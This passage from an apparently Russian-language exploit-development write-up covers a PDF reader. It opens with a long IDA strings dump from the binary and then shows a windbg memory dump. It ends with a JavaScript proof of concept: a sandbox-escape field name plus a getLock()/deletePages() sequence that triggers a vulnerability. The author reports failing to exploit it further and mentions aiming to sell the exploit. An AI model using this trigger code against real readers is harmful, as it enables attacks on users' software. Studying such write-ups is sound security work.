.rdata:050E8F18 00000012 C Sign_Fill_AddLine .rdata:050EB4FC 0000001B C ACTIONANNOT::AddTypeWriter https://helpx.adobe.com/acrobat/kb/adding-watermark-pdf.html .rdata:05114CEC 0000000B C Sound Tool .rdata:05114ED8 0000003D C This function is deprecated. It proceed in signature plugin. .rdata:05114FA8 0000001A C File_Propertions_Security .rdata:05114FC4 0000001D C File_Propertions_Description .rdata:05115000 0000001D C File_Propertions_InitialView .rdata:0511502C 00000016 C File_Propertions_Font .rdata:05115058 0000001A C File_Propertions_Advanced .rdata:051150E0 00000057 C This function is deprecated. Suggest use FROptimizerFlatDocument from Optimize plugin. .rdata:05115138 00000059 C This function is deprecated. Suggest use FRDocProcessSetReviewJS from docprocess plugin. .rdata:05115198 0000005C C This function is deprecated. Suggest use FRDocProcessRemoveReviewJS from docprocess plugin. .rdata:05115348 00000056 C This function is deprecated. Suggest use FROptimizerRunPageFlat from Optimize plugin. .rdata:051153A0 00000062 C This function is deprecated. Suggest use FRDocProcessFlattenDynamicXFADoc from docprocess plugin. .rdata:05115408 00000053 C This function is deprecated. It proceed in OCR plugin of FROCRRunPageOCRPROTO api. .rdata:05115460 0000005D C This function is deprecated. It proceed in OCR plugin of GetOCREngineLocalLanguagePROTO api. .rdata:051154C0 0000005D C This function is deprecated. It proceed in OCR plugin of GetIsExistOCREngineDllTipPROTO api. .rdata:05115520 0000005F C This function is deprecated. It proceed in OCR plugin of GetOCREngineSupportLanguagePROTO api. .rdata:05115610 0000005D C This function is deprecated. Suggest use FRDocProcessGetCreationDate from docprocess plugin. .rdata:05115670 00000066 C This function is deprecated. Suggest use FRDocProcessGetContainedCountInPages from docprocess plugin. .rdata:051156D8 00000060 C This function is deprecated. Suggest use FRDocProcessGetPrefixMatchList from docprocess plugin. .rdata:05115738 00000074 C This function is deprecated. Suggest use FROptimizerReduceFileSize and FROptimizerSetCallBack from Optimize plugin. .rdata:051157B0 0000005C C This function is deprecated. Suggest use FROptimizerShowReduceSizeDlg from Optimize plugin. .rdata:05115BC4 00000019 C CFS_GLOG_V16::LogMessage .rdata:05115BE0 00000070 C c:\phantompdfci\jenkins\workspace\taa-ph-auto-compile\starship\sinkpluginsdk_web\win\src\basic\fs_basicimpl.cpp .rdata:05116020 0000006C C This function is deprecated. Suggest use FRSIGInternalInterfaceGenerateUR3Permission from signature plugin. .rdata:05116090 0000005A C This function is deprecated. Suggest use FRPageFormatAddWatermark from pageformat plugin. .rdata:05116124 00000019 C PageFormat Extension HFT .rdata:05116140 00000063 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateWatermark from pageformat plugin. .rdata:051161A8 0000005D C This function is deprecated. Suggest use FRPageFormatRemoveWatermark from pageformat plugin. .rdata:05116208 00000066 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateWatermark from pageformat plugin. .rdata:05116270 0000005D C This function is deprecated. Suggest use FRPageFormatAddHeaderFooter from pageformat plugin. .rdata:051162D0 00000066 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateHeaderFooter from pageformat plugin. .rdata:05116338 00000060 C This function is deprecated. Suggest use FRPageFormatRemoveHeaderFooter from pageformat plugin. .rdata:05116398 00000069 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateHeaderFooter from pageformat plugin. .rdata:05116408 0000005F C This function is deprecated. Suggest use FRDocProcessIsUsedLogicalPage from docprocess plugin. .rdata:05116468 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo from signature plugin. .rdata:051164D0 00000064 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo3 from signature plugin. .rdata:05116538 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDefaultServer from signature plugin. .rdata:051165A0 0000006B C This function is deprecated. Suggest use FRSIGInternalInterfaceAddSignature3Handler from signature plugin. .rdata:05116610 00000045 C This function is deprecated. It's not be need from signature plugin. .rdata:05116658 00000065 C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetSignatureVerify from signature plugin. .rdata:051166C0 00000066 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDocSigatureCount from signature plugin. .rdata:05116728 00000067 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetSignatureBaseInfo from signature plugin. .rdata:05116790 00000061 C This function is deprecated. Suggest use FRSIGSGBaseHandlerClearSignature from signature plugin. .rdata:051167F8 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerCreateSignatureF from signature plugin. .rdata:05116860 0000005E C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetPosition from signature plugin. .rdata:051168C0 0000004F C This function is deprecated. Suggest use FRSIGRDNCreate from signature plugin. .rdata:05116910 00000050 C This function is deprecated. Suggest use FRSIGRDNDestroy from signature plugin. .rdata:05116960 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwC from signature plugin. .rdata:051169B0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwCN from signature plugin. .rdata:05116A00 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwCN from signature plugin. .rdata:05116A50 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwE from signature plugin. .rdata:05116AA0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwE from signature plugin. .rdata:05116AF0 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwL from signature plugin. .rdata:05116B40 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwL from signature plugin. .rdata:05116B90 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwO from signature plugin. .rdata:05116BE0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwO from signature plugin. .rdata:05116C30 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwOU from signature plugin. .rdata:05116C80 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwOU from signature plugin. .rdata:05116CD0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwST from signature plugin. .rdata:05116D20 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwST from signature plugin. .rdata:05116D70 00000067 C This function is deprecated. Suggest use FRSIGCERTIFICATEINFO related interface from signature plugin. .rdata:05116DD8 00000065 C This function is deprecated. Suggest use FRSIGSEEDVALUEINFO related interface from signature plugin. .rdata:05116E4C 0000003E C This function is deprecated. It proceed in signature plugin. .rdata:0511F140 00000007 C AddImm .rdata:0511F480 0000000A C RowSetAdd .rdata:052A94B8 0000000D C pixAddBorder .rdata:052A94C8 00000019 C pixAddBlackOrWhiteBorder .rdata:052A94E4 00000014 C pixAddBorderGeneral .rdata:052A9510 00000020 C pixAddMultipleBlackWhiteBorders
.rdata:052A95DC 00000015 C pixAddMirroredBorder .rdata:052A9608 00000015 C pixAddRepeatedBorder .rdata:052A9620 00000012 C pixAddMixedBorder .rdata:052A9634 00000016 C pixAddContinuedBorder .rdata:052A964C 00000019 C pixShiftAndTransferAlpha .rdata:052B3028 00000013 C pixAddAlphaToBlend !!!!!!!! .rdata:052B32EC 0000000B C boxaAddBox !!!!!!!!!!!!!!! .rdata:052B35B8 0000000D C boxaaAddBoxa .rdata:052B35E8 00000011 C boxaaExtendArray .rdata:052B35FC 00000017 C boxaaExtendArrayToSize .rdata:052B3614 00000016 C baa has too many ptrs .rdata:052B362C 0000001F C size > 1M boxa ptrs; too large .rdata:052B364C 0000000E C boxaaGetCount .rdata:052B365C 00000011 C boxaaGetBoxCount .rdata:052B3670 0000000D C boxaaGetBoxa .rdata:052B3680 0000000C C boxaaGetBox .rdata:052B368C 00000013 C boxa not retrieved .rdata:052B36F8 00000010 C boxaaInsertBoxa .rdata:052B5E88 00000012 C pixGetInputFormat .rdata:052B5E9C 00000012 C pixSetInputFormat .rdata:052B5EB0 00000013 C pixCopyInputFormat .rdata:052B5EC4 0000000E C pixSetSpecial .rdata:052B5ED4 0000000B C pixGetText .rdata:052B5EE0 0000000B C pixSetText .rdata:052B5EEC 0000000B C pixAddText .rdata:052B667C 0000000C C pixaaAddBox .rdata:052B9268 00000014 C jbAddPageComponents .rdata:052B9D90 0000000D C numaaAddNuma .rdata:052C9BC8 00000010 C sarrayAddString .rdata:052CACB4 00000009 C ptaAddPt .rdata:052CAFB8 0000000B C ptaaAddPta .rdata:0530A890 00000010 C selaAddDwaCombs .rdata:053CADD8 0000000C C squareimage .rdata:053E05C8 00000019 C GdipPrivateAddMemoryFont .rdata:053E078C 00000017 C GdipPrivateAddFontFile .rdata:053E0808 00000015 C AddFontMemResourceEx .rdata:0548401C 00000009 C TPadding .rdata:056D0DA8 0000000D C addListeners .rdata:056D0ED8 0000000C C addMenuItem .rdata:056D0EE4 0000000B C addSubMenu .rdata:056D0F48 00000009 C addIndex .rdata:056D0F60 0000000B C addContact .rdata:056D0F6C 0000000B C addRequest .rdata:056D11B0 00000010 C addEmbeddedFile .rdata:056D12DC 00000008 C addWord .rdata:056D1528 00000009 C addAnnot .rdata:056D1534 00000009 C addField .rdata:056D1540 00000008 C addLink .rdata:056D1548 00000008 C addIcon .rdata:056D1E94 0000000D C Doc.addAnnot .rdata:056D1EA4 0000000D C Doc.addField .rdata:056D1EB4 0000000C C Doc.addLink .rdata:056D1EC0 0000000C C Doc.addIcon .rdata:056D24A8 0000000F C Doc.addAdLayer .rdata:056D5F58 0000000E C addToolButton .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D6668 0000000F C app.addSubMenu .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D7E44 0000000F C FDF.addContact .rdata:05709CF0 0000000F C OBJ_add_object .rdata:05709D00 0000000E C OBJ_add_sigid .rdata:05902BBC 00000012 C addCustomMenuItem .rdata:05902BD0 00000014 C addCustomToolButton .rdata:05902BE4 00000010 C addEventHandler .rdata:059E64A0 0000001E C FillPageComboBox-AddTail -End .rdata:059E64C0 00000010 C View_Panel_Goto .rdata:059E64D0 00000020 C FillPageComboBox-AddTail -Start .rdata:05FE0420 00000077 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomMenuItem@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0497 00000079 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomToolButton@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0510 00000075 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddEventHandler@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:050896AC 00000011 C CAddDictionaries .rdata:05097DD0 00000034 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - Start .rdata:05097E04 00000032 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - End .rdata:05098308 0000001E C CJS_PluginMgr::AddToolButtons
, когда вы уже должны по-настоящему начать часть процесса реверса и попытаться понять, что на самом деле делает бинарник, и ваш псевдокод в IDB выглядит вот так:
куча кода пропущена, чтобы уместить материал и не делать статью длинной

И кто-то может сказать, что из-за этого происходит инициализация класса. Неверно. Не доверяйте IDA, потому что смещения были неверными, и даже если бы я ошибался, поверьте, вам всё равно пришлось бы перекрёстно ссылаться на имя функции, и в 200 перекрёстных ссылках анализировать ещё 200 функций, чтобы понять, и вдобавок динамически резолвить в windbg каждый вызов функции через ptr и реверсить это.
Добавьте тот факт, что если вы, скажем, попробуете что-то вроде этого: 09f69e70 74 72 75 63 74 6f 72 28-27 72 65 74 75 72 6e 20 tructor('return 09f69e80 74 68 69 73 27 29 28 29-00 00 00 00 00 00 00 00 this')()........ 09f69e90 06 00 01 09 30 1e 6d 0f-00 00 00 00 00 00 00 00 ....0.m......... 09f69ea0 00 00 00 00 e0 bd 6d 0f-10 00 00 00 02 00 00 00 ......m......... 09f69eb0 84 15 f6 09 60 15 f6 09-0a 00 00 00 00 00 00 00 ....`........... 09f69ec0 01 00 00 00 10 00 00 00-10 00 00 00 54 00 69 00 ............T.i. 09f69ed0 6d 00 65 00 73 00 20 00-42 00 6f 00 6c 00 64 00 m.e.s. .B.o.l.d. 09f69ee0 49 00 74 00 61 00 6c 00-69 00 63 00 00 00 00 00 I.t.a.l.i.c.....
function type_conf(){ app.alert("Starting enhanced memory leak exploit");
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
"signature_field",
"signature",
0,
[10, 10, 100, 50]
);
let syntaxString = "a.constructor.constructor('return this')()";
gFields.combo = app.activeDocs[0].addField(
syntaxString,
"combobox",
0,
[10, 60, 100, 100]
);
// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");
app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");
gLockObj.__defineGetter__('fields', function () {});
}
и это работает, но вы не можете сделать что-то вроде let x = "\x41\x41\x41\x41" и использовать x в addfield как имя этого объекта, ждать 3:30 часа, пока IDB загрузится в bindiff, и IDB не загружается и выжирает 16 ГБ памяти. Это практически признаки того, что вам, скорее всего, не удастся эксплуатировать этот самый бинарник.
Итак, урок усвоен: если вы видите большинство описанных в верхнем абзаце вещей, то ради вашего психического здоровья лучше перейти к следующему эксплойту, чем тратить ещё 3 недели только на то, чтобы проверить, эксплуатируется это или нет.
Теперь, когда мы подошли к концу истории, я оставлю вас с некоторыми финальными уроками, извлечёнными из этой попытки создать и продать эксплойт: